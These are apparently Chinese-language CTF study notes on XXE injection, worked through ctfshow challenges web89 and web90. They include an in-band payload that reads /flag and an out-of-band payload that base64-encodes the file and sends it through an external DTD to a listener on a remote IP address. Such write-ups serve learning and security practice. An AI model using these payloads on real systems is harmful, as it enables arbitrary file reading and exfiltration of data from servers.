XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)
xxe的利用
XML Entity 实体注入
当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞
危害
主流是任意文件读取
XML 文件
一般表示带有结构的数据
祖父 3个叔父 8个堂弟堂妹
<祖父>
<叔父1>
<堂兄1>
</叔父1>
<叔父2>
<堂兄2>
</叔父2>
<叔父3>
<堂兄3>
</叔父4>
</祖父>
xml格式
1 有回显时文件读取方法
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY hacker SYSTEM "file:///flag">
]>
<root>
<ctfshow>
&hacker;
</ctfshow>
</root>
例题1 web89

post传:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<ctfshow>
hacker
</ctfshow>
</root>
看到回显hacker

可以实现任意文件回显
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY hacker SYSTEM "file:///flag">
]>
<root>
<ctfshow>
&hacker;
</ctfshow>
</root>

这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的
2 无回显时文件读取方法
例题2 web90

无回显点,考虑数据外带
post传
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://124.222.136.33/test.dtd">
%myurl;
]>
<root>
1
</root>
在vps上创建文件test.dtd
test.dtd内容
<!ENTITY % dtd "<!ENTITY % vps SYSTEM 'http://124.222.136.33:1337/%file;'> ">
%dtd;
%vps;
vps监听1337端口即可